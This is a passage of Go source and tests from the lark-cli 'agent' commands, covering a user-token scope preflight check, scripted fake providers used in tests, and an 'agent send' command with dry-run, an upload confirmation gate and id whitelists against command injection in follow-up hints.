// preflight. Tests swap it so no unit test touches the real keychain.
var storedUserScopes = func(f *cmdutil.Factory) []string {
if f == nil || f.Config == nil {
return nil
}
config, err := f.Config()
if err != nil || config == nil || config.UserOpenId == "" {
return nil
}
stored := larkauth.GetStoredToken(config.AppID, config.UserOpenId)
if stored == nil {
return nil
}
return strings.Fields(stored.Scope)
}
// preflightInput is the pure input of preflightScopes, so the check itself is
// unit-testable without a Factory, keychain, or provider client.
type preflightInput struct {
Identity core.Identity
TokenScopes []string
Info iagent.ProviderInfo
}
// preflightScopes runs the local scope check. It returns nil when the check
// does not apply — bot identity (a tenant token has no scope-list concept; the
// API error + errclass hint own that path) or an unreadable/empty local scope
// list (the downstream not_configured / need-authorization logic owns that).
// The check is all-or-nothing: when any scope in the provider's RequiredScopes
// set is not granted it returns the missing_scope permission error
// (exit 3, mirroring the event-consume scope preflight) carrying every missing
// scope, with a re-auth hint whose --scope
// merges the stored grants with the provider's FULL RequiredScopes set — auth
// login --scope REPLACES the grant, so the hint must be copy-paste-safe
// without dropping existing permissions.
func preflightScopes(in preflightInput) error {
if in.Identity != core.AsUser || len(in.TokenScopes) == 0 {
return nil
}
granted := make(map[string]bool, len(in.TokenScopes))
for _, s := range in.TokenScopes {
granted[s] = true
}
var missing []string
for _, scope := range in.Info.RequiredScopes {
if !granted[scope] {
missing = append(missing, scope)
}
}
if len(missing) == 0 {
return nil
}
sort.Strings(missing)
// Merged re-auth scope set: existing grants the provider's FULL
// RequiredScopes, sorted for stability.
mergedSet := make(map[string]bool, len(in.TokenScopes)+len(in.Info.RequiredScopes))
for _, s := range in.TokenScopes {
mergedSet[s] = true
}
for _, s := range in.Info.RequiredScopes {
mergedSet[s] = true
}
merged := make([]string, 0, len(mergedSet))
for s := range mergedSet {
merged = append(merged, s)
}
sort.Strings(merged)
return errs.NewPermissionError(errs.SubtypeMissingScope,
"当前 user 身份缺少本命令所需 scope: %s", strings.Join(missing, ", ")).
WithIdentity(string(core.AsUser)).
WithMissingScopes(missing...).
WithHint("一次性补齐该 agent 全部所需 scope已合并现有授权照抄不丢权限: lark-cli auth login --scope \"%s\"",
strings.Join(merged, " "))
}
// preflightScopesForRef is the command-layer wiring: it resolves the provider
// registration for ref's scheme, reads the stored user scopes through the
// seam, and runs the all-or-nothing preflight. Any gap in its own inputs (nil
// Factory, unparsable ref, unregistered scheme) yields nil — the preflight is
// an accelerator, never a new failure mode; the paths that validate ref/scheme
// for real have already run inside resolveProvider.
func preflightScopesForRef(f *cmdutil.Factory, id core.Identity, ref string) error {
if f == nil || id != core.AsUser {
return nil
}
r, err := iagent.ParseRef(ref)
if err != nil {
return nil //nolint:nilerr // preflight is best-effort: resolveProvider already surfaced any real ref error
}
info, ok := iagent.Info(r.Scheme)
if !ok {
return nil
}
return preflightScopes(preflightInput{
Identity: id,
TokenScopes: storedUserScopes(f),
Info: info,
})
}

View File

@@ -1,365 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"errors"
"reflect"
"strings"
"testing"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/output"
)
// scopedInfo fetches the registered fakescoped ProviderInfo (4 RequiredScopes,
// see scripted_provider_test.go) — the all-or-nothing preflight requires every
// one of fakescopedAllScopes for any real API verb.
func scopedInfo(t *testing.T) iagent.ProviderInfo {
t.Helper()
registerScripted()
info, ok := iagent.Info("fakescoped")
if !ok {
t.Fatal("fakescoped provider should be registered")
}
return info
}
// requirePreflightError asserts err is the missing_scope permission error
// (exit 3, mirroring the event-consume scope preflight) and returns the typed
// value for field assertions.
func requirePreflightError(t *testing.T, err error) *errs.PermissionError {
t.Helper()
if err == nil {
t.Fatal("want missing_scope error, got nil")
}
var pe *errs.PermissionError
if !errors.As(err, &pe) {
t.Fatalf("want *errs.PermissionError, got %T: %v", err, err)
}
if pe.Subtype != errs.SubtypeMissingScope {
t.Fatalf("subtype should be missing_scope, got %q", pe.Subtype)
}
if code := output.ExitCodeOf(err); code != 3 {
t.Fatalf("exit code should be 3, got %d", code)
}
return pe
}
// TestPreflightReportsAllMissingWithMergedHint is the all-or-nothing pin: the
// check is all-or-nothing, so a user token holding only some of the provider's scopes fails
// with EVERY missing scope named (sorted) in both the message and
// missing_scopes, and a re-auth hint that merges the stored token scopes with
// the provider's FULL RequiredScopes set (sorted, so re-running the login
// command never drops an existing grant).
func TestPreflightReportsAllMissingWithMergedHint(t *testing.T) {
err := preflightScopes(preflightInput{
Identity: core.AsUser,
TokenScopes: []string{"im:message", "fakescoped:agent_chat:write"},
Info: scopedInfo(t),
})
ve := requirePreflightError(t, err)
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
if !strings.Contains(ve.Message, "当前 user 身份缺少本命令所需 scope: "+strings.Join(wantMissing, ", ")) {
t.Errorf("message should list all missing scopes, got %q", ve.Message)
}
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
t.Errorf("missing_scopes should be %v (all missing, stable sort), got %v", wantMissing, ve.MissingScopes)
}
// Merged hint: existing token scopes FULL provider RequiredScopes, sorted.
wantScopeArg := `lark-cli auth login --scope "fakescoped:agent_artifact:read fakescoped:agent_attachment:write fakescoped:agent_chat:read fakescoped:agent_chat:write im:message"`
if !strings.Contains(ve.Hint, wantScopeArg) {
t.Errorf("hint should contain the merged full-scope command %q, got %q", wantScopeArg, ve.Hint)
}
}
// TestPreflightBotSkipped pins that a bot token has no scope list concept, so
// preflight is skipped entirely regardless of TokenScopes.
func TestPreflightBotSkipped(t *testing.T) {
err := preflightScopes(preflightInput{
Identity: core.AsBot,
TokenScopes: nil,
Info: scopedInfo(t),
})
if err != nil {
t.Fatalf("bot identity should skip preflight, got %v", err)
}
}
// TestPreflightNoTokenScopesReturnsNil pins that no local token (or a token
// without a scope list) yields nil so the downstream not_configured /
// need-authorization path owns the error.
func TestPreflightNoTokenScopesReturnsNil(t *testing.T) {
err := preflightScopes(preflightInput{
Identity: core.AsUser,
TokenScopes: nil,
Info: scopedInfo(t),
})
if err != nil {
t.Fatalf("no token scope list should return nil, got %v", err)
}
}
// TestPreflightAllScopesPresent pins the happy path: a token carrying all four
// fakescoped scopes passes the all-or-nothing check.
func TestPreflightAllScopesPresent(t *testing.T) {
if err := preflightScopes(preflightInput{
Identity: core.AsUser, TokenScopes: fakescopedAllScopes, Info: scopedInfo(t),
}); err != nil {
t.Errorf("should pass when all scopes present, got %v", err)
}
}
// TestPreflightMissingAnyScopeFails pins the all-or-nothing rule: a token that
// is missing even a single scope fails, and the reported missing set is exactly
// the scopes it lacks (not just this-verb scopes — the per-verb concept is
// gone).
func TestPreflightMissingAnyScopeFails(t *testing.T) {
// Missing exactly one scope (attachment) → that one scope is reported.
ve := requirePreflightError(t, preflightScopes(preflightInput{
Identity: core.AsUser,
TokenScopes: []string{
"fakescoped:agent_chat:write", "fakescoped:agent_chat:read", "fakescoped:agent_artifact:read",
},
Info: scopedInfo(t),
}))
if !reflect.DeepEqual(ve.MissingScopes, []string{"fakescoped:agent_attachment:write"}) {
t.Errorf("when only attachment is missing, missing_scopes should be [fakescoped:agent_attachment:write], got %v", ve.MissingScopes)
}
// Only the write scope → the other three are all reported.
ve = requirePreflightError(t, preflightScopes(preflightInput{
Identity: core.AsUser, TokenScopes: []string{"fakescoped:agent_chat:write"}, Info: scopedInfo(t),
}))
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
t.Errorf("with only the write scope, missing_scopes should be %v, got %v", wantMissing, ve.MissingScopes)
}
}
// ---------------------------------------------------------------------------
// Command wiring: each verb runs preflight after resolveProvider and before
// any real API call. The stored-scope read goes through the storedUserScopes
// seam so no test touches the real keychain; zero httpmock stubs are
// registered, so any HTTP request would fail the test with a transport error
// instead of the asserted missing_scope.
// ---------------------------------------------------------------------------
// swapStoredScopes swaps the storedUserScopes seam for the test's scope list.
func swapStoredScopes(t *testing.T, scopes []string) {
t.Helper()
old := storedUserScopes
storedUserScopes = func(*cmdutil.Factory) []string { return scopes }
t.Cleanup(func() { storedUserScopes = old })
}
// userLeafCmd builds a leaf command under lark-cli/agent/... with --as
// explicitly set to user so ResolveAs honors it verbatim.
func userLeafCmd(t *testing.T, names ...string) *cobra.Command {
t.Helper()
parent := &cobra.Command{Use: "lark-cli"}
for _, name := range names {
child := &cobra.Command{Use: name}
parent.AddCommand(child)
parent = child
}
parent.Flags().String("as", "", "identity")
if err := parent.Flags().Set("as", "user"); err != nil {
t.Fatal(err)
}
parent.SetContext(context.Background())
return parent
}
// userFactory builds a test Factory + registry for a user-identity run.
func userFactory(t *testing.T) (*cmdutil.Factory, *httpmock.Registry) {
t.Helper()
f, _, _, reg := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
return f, reg
}
// TestSendPreflightBlocksMissingScope pins the send wiring: a user token that
// holds none of the provider's scopes fails with missing_scope
// (reporting the full set) and no request.
func TestSendPreflightBlocksMissingScope(t *testing.T) {
swapStoredScopes(t, []string{"im:message"})
f, _ := userFactory(t)
err := agentSendRun(&sendOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
})
ve := requirePreflightError(t, err)
if !reflect.DeepEqual(ve.MissingScopes, fakescopedAllScopes) {
t.Errorf("with no provider scope, send should report all missing %v, got %v", fakescopedAllScopes, ve.MissingScopes)
}
}
// TestSendPreflightPartialTokenBlocked pins that a partial token (write only)
// still fails the all-or-nothing check, reporting the three scopes it lacks.
func TestSendPreflightPartialTokenBlocked(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
f, _ := userFactory(t)
err := agentSendRun(&sendOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
})
ve := requirePreflightError(t, err)
wantMissing := []string{"fakescoped:agent_artifact:read", "fakescoped:agent_attachment:write", "fakescoped:agent_chat:read"}
if !reflect.DeepEqual(ve.MissingScopes, wantMissing) {
t.Errorf("write-only token should report missing %v, got %v", wantMissing, ve.MissingScopes)
}
}
// TestSendDryRunSkipsPreflight pins that --dry-run stays API-free AND
// scope-free — it succeeds even when the token has none of the provider scopes.
func TestSendDryRunSkipsPreflight(t *testing.T) {
swapStoredScopes(t, []string{"im:message"})
f, _ := userFactory(t)
err := agentSendRun(&sendOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
Ref: "fakescoped:agt_x", Text: "hi", As: "user", DryRun: true,
})
if err != nil {
t.Fatalf("--dry-run should not run scope preflight: %v", err)
}
}
// TestTaskGetPreflightBlocksMissingScope pins the task get wiring.
func TestTaskGetPreflightBlocksMissingScope(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
f, _ := userFactory(t)
err := agentTaskGetRun(&taskOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
})
ve := requirePreflightError(t, err)
if !contains(ve.MissingScopes, "fakescoped:agent_chat:read") {
t.Errorf("task get missing scope should include fakescoped:agent_chat:read, got %v", ve.MissingScopes)
}
}
// TestTaskGetArtifactPreflightFires pins the --artifact download wiring
// (resolveDownload path): it too runs the all-or-nothing preflight before the
// API call.
func TestTaskGetArtifactPreflightFires(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:read"})
f, _ := userFactory(t)
err := agentTaskGetRun(&taskOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "get"),
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
ArtifactID: "art_1", Output: "out.bin",
})
ve := requirePreflightError(t, err)
if !contains(ve.MissingScopes, "fakescoped:agent_artifact:read") {
t.Errorf("task get --artifact missing scope should include fakescoped:agent_artifact:read, got %v", ve.MissingScopes)
}
}
// TestTaskListPreflightBlocksMissingScope pins the task list wiring.
func TestTaskListPreflightBlocksMissingScope(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
f, _ := userFactory(t)
err := agentTaskListRun(&taskOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "list"),
Ref: "fakescoped:agt_x", As: "user",
})
requirePreflightError(t, err)
}
// TestContextVerbsPreflightBlocksMissingScope pins the context list/get/delete
// wiring: all three run the all-or-nothing preflight.
func TestContextVerbsPreflightBlocksMissingScope(t *testing.T) {
runs := []struct {
name string
run func(f *cmdutil.Factory) error
}{
{"list", func(f *cmdutil.Factory) error {
return agentContextListRun(&contextOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "context", "list"),
Ref: "fakescoped:agt_x", As: "user", Format: "pretty",
})
}},
{"get", func(f *cmdutil.Factory) error {
return agentContextGetRun(&contextOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "context", "get"),
Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user",
})
}},
{"delete", func(f *cmdutil.Factory) error {
return agentContextDeleteRun(&contextOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "context", "delete"),
Ref: "fakescoped:agt_x", CtxID: "ctx_1", As: "user", Yes: true,
})
}},
}
for _, tc := range runs {
t.Run(tc.name, func(t *testing.T) {
swapStoredScopes(t, []string{"fakescoped:agent_chat:write"})
f, _ := userFactory(t)
requirePreflightError(t, tc.run(f))
})
}
}
// TestSendPreflightPassesWithScopeAndSends pins that a token holding the full
// provider scope set lets the real send proceed (the scripted Send hook fires,
// proving preflight did not false-positive).
func TestSendPreflightPassesWithScopeAndSends(t *testing.T) {
swapStoredScopes(t, fakescopedAllScopes)
f, _ := userFactory(t)
sent := false
setScripted(t, scriptedHooks{send: func(iagent.SendInput) (*iagent.AgentTask, error) {
sent = true
return &iagent.AgentTask{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateWorking}, nil
}})
err := agentSendRun(&sendOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "send"),
Ref: "fakescoped:agt_x", Text: "hi", As: "user",
})
if err != nil {
t.Fatalf("a send with all scopes should pass preflight and send: %v", err)
}
if !sent {
t.Fatal("provider.Send should actually be called after preflight passes")
}
}
// TestTaskCancelPreflightWired pins the task cancel wiring: the capability
// gate (fakescoped card declares task_cancel=false) answers before
// provider/preflight, so a scope-missing user token yields
// unsupported_capability, not missing_scope — proving the wired
// preflight does not change the gate-first ordering.
func TestTaskCancelPreflightWired(t *testing.T) {
swapStoredScopes(t, []string{"im:message"})
f, _ := userFactory(t)
err := agentTaskCancelRun(&taskOptions{
Factory: f, Cmd: userLeafCmd(t, "agent", "task", "cancel"),
Ref: "fakescoped:agt_x", TaskID: "t1", As: "user",
})
if err == nil {
t.Fatal("task cancel with task_cancel=false should be blocked by the capability gate")
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
t.Fatalf("want unsupported_capability (capability gate answers first), got %+v", p)
}
}
// contains reports whether s appears in the slice.
func contains(ss []string, s string) bool {
for _, x := range ss {
if x == s {
return true
}
}
return false
}

View File

@@ -1,10 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
// The example provider self-registers via init(); in production it is pulled in
// by the top-level agent package (blank-imported from cmd/build.go), not by
// cmd/agent. Several tests here exercise the real example scheme (example:echo /
// example:reporter), so register it explicitly for the test binary.
import _ "github.com/larksuite/cli/agent/example"

View File

@@ -1,146 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"context"
"sync"
"testing"
iagent "github.com/larksuite/cli/internal/agent"
)
// scriptedHooks scripts a fake provider's behavior per test. Each hook maps to
// one Provider func field; an unset hook that gets called panics — a tripwire
// against a test reaching an unexpected provider path. This replaces the old
// pattern of driving the (removed) real-OAPI adapter through httpmock stubs:
// the command-layer contracts under test (envelope shape, watch exit codes,
// meta.next, pretty rendering, error propagation) are provider-neutral.
type scriptedHooks struct {
send func(in iagent.SendInput) (*iagent.AgentTask, error)
getTask func(taskID string) (*iagent.AgentTask, error)
listTasks func(contextID string) ([]iagent.TaskSummary, error)
listContexts func() ([]iagent.ContextSummary, error)
getContext func(ctxID string) (*iagent.ContextDetail, error)
deleteContext func(ctxID string) error
downloadArtifact func(taskID, artifactID string) (*iagent.ArtifactData, error)
}
// scripted is the package-level hook set shared by every scripted provider
// instance (the registry factory cannot be re-pointed per test, the hooks can).
var scripted scriptedHooks
// setScripted installs the hooks for one test and restores the empty (panic
// tripwire) set on cleanup.
func setScripted(t *testing.T, h scriptedHooks) {
t.Helper()
scripted = h
t.Cleanup(func() { scripted = scriptedHooks{} })
}
// newScriptedProvider builds a scripted *Provider. Its capability surface is
// fixed by which fields are wired (the framework derives the card from this):
// CancelTask is deliberately left unwired so task_cancel=false (the command
// layer's cancel gate is exercised via example:echo); everything else the
// command tests drive is wired, and FileInput=true so the --file gate/confirm
// path is reachable. Each wired func delegates to the per-test hook and panics
// if that hook was not set (tripwire against an unexpected provider path).
func newScriptedProvider() *iagent.Provider {
return &iagent.Provider{
Send: func(ctx context.Context, in iagent.SendInput) (*iagent.AgentTask, error) {
if scripted.send == nil {
panic("scripted provider: Send hook not set")
}
return scripted.send(in)
},
GetTask: func(ctx context.Context, taskID string) (*iagent.AgentTask, error) {
if scripted.getTask == nil {
panic("scripted provider: GetTask hook not set")
}
return scripted.getTask(taskID)
},
ListTasks: func(ctx context.Context, contextID string) ([]iagent.TaskSummary, error) {
if scripted.listTasks == nil {
panic("scripted provider: ListTasks hook not set")
}
return scripted.listTasks(contextID)
},
ListContexts: func(ctx context.Context) ([]iagent.ContextSummary, error) {
if scripted.listContexts == nil {
panic("scripted provider: ListContexts hook not set")
}
return scripted.listContexts()
},
GetContext: func(ctx context.Context, ctxID string) (*iagent.ContextDetail, error) {
if scripted.getContext == nil {
panic("scripted provider: GetContext hook not set")
}
return scripted.getContext(ctxID)
},
DeleteContext: func(ctx context.Context, ctxID string) error {
if scripted.deleteContext == nil {
panic("scripted provider: DeleteContext hook not set")
}
return scripted.deleteContext(ctxID)
},
DownloadArtifact: func(ctx context.Context, taskID, artifactID string) (*iagent.ArtifactData, error) {
if scripted.downloadArtifact == nil {
panic("scripted provider: DownloadArtifact hook not set")
}
return scripted.downloadArtifact(taskID, artifactID)
},
FileInput: true,
}
}
// fakescopedAllScopes is the full RequiredScopes set of the fakescoped test
// provider, sorted — the all-or-nothing preflight requires every one of these
// for any real API verb.
var fakescopedAllScopes = []string{
"fakescoped:agent_artifact:read",
"fakescoped:agent_attachment:write",
"fakescoped:agent_chat:read",
"fakescoped:agent_chat:write",
}
// fakeflowAgentIDSource is the AgentIDSource text of the fakeflow provider —
// the non-enumerable `agent list <scheme>` error surfaces it as the hint.
const fakeflowAgentIDSource = "在 fakeflow 测试控制台获取 agent_id形如 agt_xxx"
// registerScripted registers the two scripted schemes exactly once (Register
// panics on duplicates). Like the other fakes they leak into the package-level
// registry for the remaining tests of this package run — so no test in this
// package may assert an exact provider set or provider count.
//
// - fakeflow: instance kind, no RequiredScopes (preflight always passes) —
// the workhorse for send/task/context command-layer tests.
// - fakescoped: same behavior but declares a 4-scope RequiredScopes set, for
// the scope-preflight framework tests.
var registerScriptedOnce sync.Once
func registerScripted() {
registerScriptedOnce.Do(func() {
iagent.Register("fakeflow", iagent.ProviderInfo{
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
return newScriptedProvider(), nil
},
Label: "test fake (scripted flow)",
AgentRefFormat: "fakeflow:<agent_id>",
AgentIDSource: fakeflowAgentIDSource,
Kind: iagent.KindInstance,
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
})
iagent.Register("fakescoped", iagent.ProviderInfo{
Factory: func(deps iagent.Deps, agentID string) (*iagent.Provider, error) {
return newScriptedProvider(), nil
},
Label: "test fake (scoped)",
AgentRefFormat: "fakescoped:<agent_id>",
AgentIDSource: "test only",
Kind: iagent.KindInstance,
RequiredScopes: fakescopedAllScopes,
Identities: []iagent.IdentitySpec{{Type: iagent.IdentityUser}, {Type: iagent.IdentityBot}},
})
})
}

View File

@@ -1,341 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package agent
import (
"fmt"
"regexp"
"time"
"github.com/spf13/cobra"
"github.com/larksuite/cli/errs"
iagent "github.com/larksuite/cli/internal/agent"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/output"
)
// sendOptions holds all inputs for `agent send <ref>`.
type sendOptions struct {
Factory *cmdutil.Factory
Cmd *cobra.Command
Ref string
Text string
Files []string
Params []string
ContextID string
TaskID string
DryRun bool
Yes bool
As string
Format string
}
// NewCmdAgentSend builds `agent send <agent_ref>`: send a message to a remote
// agent, starting a new task or continuing an existing one. `--dry-run`
// validates the inputs against the agent Card and prints the request preview
// without any API call (always available). A send fires and returns the
// current task immediately; poll progress with
// `agent task get <agent_ref> <task-id> --watch` (surfaced via meta.next).
// `--file` uploads local files to the remote agent — the content leaves this
// machine. Risk=write. runF, when non-nil, replaces the production run path
// (test seam).
func NewCmdAgentSend(f *cmdutil.Factory, runF func(*sendOptions) error) *cobra.Command {
opts := &sendOptions{Factory: f}
cmd := &cobra.Command{
Use: "send <agent_ref>",
Short: "Send a message to a remote agent (start a new task or continue an existing one)",
Long: "Send one message to the remote agent addressed by agent_ref. Without --context-id/--task-id it starts a new task; " +
"with --context-id (optionally --task-id) it continues the same multi-turn context (including replying to input_required/auth_required). " +
"--dry-run only validates locally and prints the request preview without calling the API. A send fires and returns the current task immediately; " +
"poll progress with agent task get <agent_ref> <task-id> --watch (see meta.next).",
Args: exactArgsWithUsage(1),
RunE: func(cmd *cobra.Command, args []string) error {
if err := validateFormat(opts.Format); err != nil {
return err
}
opts.Cmd = cmd
opts.Ref = args[0]
if runF != nil {
return runF(opts)
}
return agentSendRun(opts)
},
}
cmd.Flags().StringVar(&opts.Text, "text", "", "消息正文(必填)")
cmd.Flags().StringArrayVar(&opts.Files, "file", nil, "随消息外发的本地文件路径,可重复;文件会被上传到远端 provider内容离开本机")
cmd.Flags().StringArrayVar(&opts.Params, "param", nil, "agent 参数 key=value可重复据 card 的 parameters 决定)")
cmd.Flags().StringVar(&opts.ContextID, "context-id", "", "多轮上下文 id续发同一会话")
cmd.Flags().StringVar(&opts.TaskID, "task-id", "", "向已有任务续发(须与 --context-id 一起用)")
cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "只做本地校验并打印请求预览,不调用 API")
cmd.Flags().BoolVar(&opts.Yes, "yes", false, "确认用 --file 把本地文件外发上传到远端(不加则 exit 10不上传")
cmd.Flags().StringVar(&opts.Format, "format", "json", formatFlagHelp)
cmd.Flags().String("jq", "", "用 jq 表达式过滤 JSON 输出")
if f != nil {
cmdutil.AddAPIIdentityFlag(cmd.Context(), cmd, f, &opts.As)
} else {
// f is nil only in construction-time unit tests; register a bare --as so
// the flag surface is still assertable without a Factory.
cmd.Flags().StringVar(&opts.As, "as", "", "identity type: user | bot")
}
cmdutil.SetRisk(cmd, cmdutil.RiskWrite)
return cmd
}
// agentSendRun validates the send inputs, resolves the provider, and either
// prints a dry-run preview or dispatches the message. The two client-side input
// guards (empty --text; --task-id without --context-id) run first so they never
// touch the network and hold even under a nil Factory. A send fires once
// and returns the current task immediately (exit 0); the caller polls progress
// via the meta.next `task get ... --watch` hint.
func agentSendRun(opts *sendOptions) error {
if opts.Text == "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument, "--text 不能为空").
WithParam("--text").
WithHint(`补充 --text "<消息内容>" 后重发`)
}
if opts.TaskID != "" && opts.ContextID == "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"--task-id 需与 --context-id 一起使用").
WithParam("--task-id").
WithHint("--task-id 必须与 --context-id 同时提供")
}
f := opts.Factory
// Card lookup + --param validation + --dry-run are API-free:
// resolve without a configured client so they work — and surface validation
// errors as exit 2 — before the config gate, even when unconfigured.
p, _, err := resolveProviderNoClient(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
r, err := iagent.ParseRef(opts.Ref)
if err != nil {
return wrapRefResolveError(err)
}
card, err := iagent.BuildCard(opts.Cmd.Context(), r.Scheme, r.AgentID, p)
if err != nil {
return err
}
params, err := parseAndValidateParams(opts.Params, card, opts.Ref)
if err != nil {
return err
}
in := iagent.SendInput{
Text: opts.Text,
Files: opts.Files,
Params: params,
ContextID: opts.ContextID,
TaskID: opts.TaskID,
}
// --dry-run is a client-side behavior: always available, never
// gated by the Card's dry_run capability, and never touches the API.
if opts.DryRun {
return emitDryRun(f, opts.Cmd, opts.Ref, in, opts.Format)
}
if len(in.Files) > 0 {
// An agent that does not declare file_input cannot take an upload, so
// --file against it is unsupported_capability — gated before any network
// access, so the user is not told "confirm the upload" for a send that
// would be rejected anyway.
if !card.Supports(iagent.CapFileInput) {
return capabilityError(opts.Ref, "send with --file", iagent.CapFileInput)
}
// --file exfiltrates local file content off this machine (the provider
// reads the file and uploads it to the remote agent). That is an
// irreversible, CLI-enforced high-risk write: a real send that would upload
// requires --yes, returning confirmation_required (exit 10) before any
// network access. dry-run above is exempt — it never uploads.
if !opts.Yes {
return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite, "agent send --file",
"--file 会把本地文件外发上传到远端 agent内容离开本机不可撤回").
WithHint("确认要外发这些文件后,加 --yes 重发")
}
}
// A real send calls the API, so it needs a configured client; resolve it now
// (not_configured / exit 3 here is correct for an actual API call).
pc, id, err := resolveProvider(f, opts.Cmd, opts.Ref, opts.As)
if err != nil {
return err
}
// Local scope preflight: after resolveProvider, before the API call.
// The check is all-or-nothing — any real API verb requires the provider's
// full scope set.
if err := preflightScopesForRef(f, id, opts.Ref); err != nil {
return err
}
task, err := pc.Send(opts.Cmd.Context(), in)
if err != nil {
return err
}
normalizeTask(task)
// A send fires and returns the current task immediately (exit 0). Progress is
// polled separately via the meta.next `task get <agent_ref> <task-id> --watch`
// hint — send no longer blocks on the task reaching a stop condition.
return emitTask(f, opts.Cmd, task, nextForTask(opts.Ref, task), opts.Format)
}
// emitDryRun writes the dry-run preview: {dry_run:true, would_send:{…}}
// reconstructed from the validated input, so a caller can inspect exactly what
// a real send would post without contacting the agent. format=pretty (no --jq)
// renders the same fields as key: value lines instead of the envelope.
func emitDryRun(f *cmdutil.Factory, cmd *cobra.Command, ref string, in iagent.SendInput, format string) error {
if format == "pretty" && jqExpr(cmd) == "" {
out := f.IOStreams.Out
fmt.Fprintln(out, "dry_run: true")
fmt.Fprintf(out, "agent_ref: %s\n", kvValue(ref))
fmt.Fprintf(out, "text: %s\n", truncateRunes(kvValue(in.Text), 120))
if len(in.Files) > 0 {
fmt.Fprintf(out, "files: %d\n", len(in.Files))
}
if len(in.Params) > 0 {
fmt.Fprintf(out, "params: %d\n", len(in.Params))
}
if in.ContextID != "" {
fmt.Fprintf(out, "context_id: %s\n", kvValue(in.ContextID))
}
if in.TaskID != "" {
fmt.Fprintf(out, "task_id: %s\n", kvValue(in.TaskID))
}
return nil
}
would := map[string]interface{}{
"agent_ref": ref,
"text": in.Text,
}
if len(in.Files) > 0 {
would["files"] = in.Files
}
if len(in.Params) > 0 {
would["params"] = in.Params
}
if in.ContextID != "" {
would["context_id"] = in.ContextID
}
if in.TaskID != "" {
would["task_id"] = in.TaskID
}
env := output.Envelope{
OK: true,
Identity: string(f.ResolvedIdentity),
Data: map[string]interface{}{
"dry_run": true,
"would_send": would,
},
Notice: output.GetNotice(),
}
if jq := jqExpr(cmd); jq != "" {
return output.JqFilter(f.IOStreams.Out, env, jq)
}
output.PrintJson(f.IOStreams.Out, env)
return nil
}
// nextIDPattern is the character whitelist for server-supplied identifiers
// (task_id / context_id) before they are interpolated into a meta.next command
// string: letters, digits, '_' and '-' only. It is deliberately stricter than
// validate.ResourceName — that check is a denylist aimed at URL-path safety and
// would pass shell metacharacters (spaces, ';', backticks, quotes), which are
// exactly what matters here: meta.next is defined as "AI executes this
// verbatim", so a server-controlled id is a command-injection surface.
var nextIDPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+$`)
// safeNextID reports whether s may be interpolated into a meta.next command.
func safeNextID(s string) bool {
return nextIDPattern.MatchString(s)
}
// nextRefPattern is the whitelist for a user-supplied ref before it is
// interpolated into a meta.next command or a hint command string: the
// safeNextID charset on both sides of exactly one ':' (the <scheme>:<agent_id>
// shape ParseRef accepts, further restricted to command-safe characters). A
// ref is not server-controlled — the threat model is not injection but
// copy-paste breakage (a ref with spaces/quotes yields a command that cannot
// be executed verbatim), so a failing ref simply drops the command hint.
var nextRefPattern = regexp.MustCompile(`^[A-Za-z0-9_-]+:[A-Za-z0-9_-]+$`)
// safeNextRef reports whether ref may be interpolated into a meta.next / hint
// command string.
func safeNextRef(ref string) bool {
return nextRefPattern.MatchString(ref)
}
// nextForTask builds the meta.next[] hints for a send result: a terminal task
// suggests fetching its artifacts / detail, a still-running task the poll
// command, an input_required task the continue command, and an auth_required
// task the re-authorize flow (auth login, not a text continuation). AI callers use
// these to chain the next step without guessing the command shape, so every
// value interpolated here must pass its whitelist first: the ref (safeNextRef)
// and the task_id (safeNextID) each suppress the whole hint when they fail
// (prefer dropping the hint over risking injection); a failing context_id
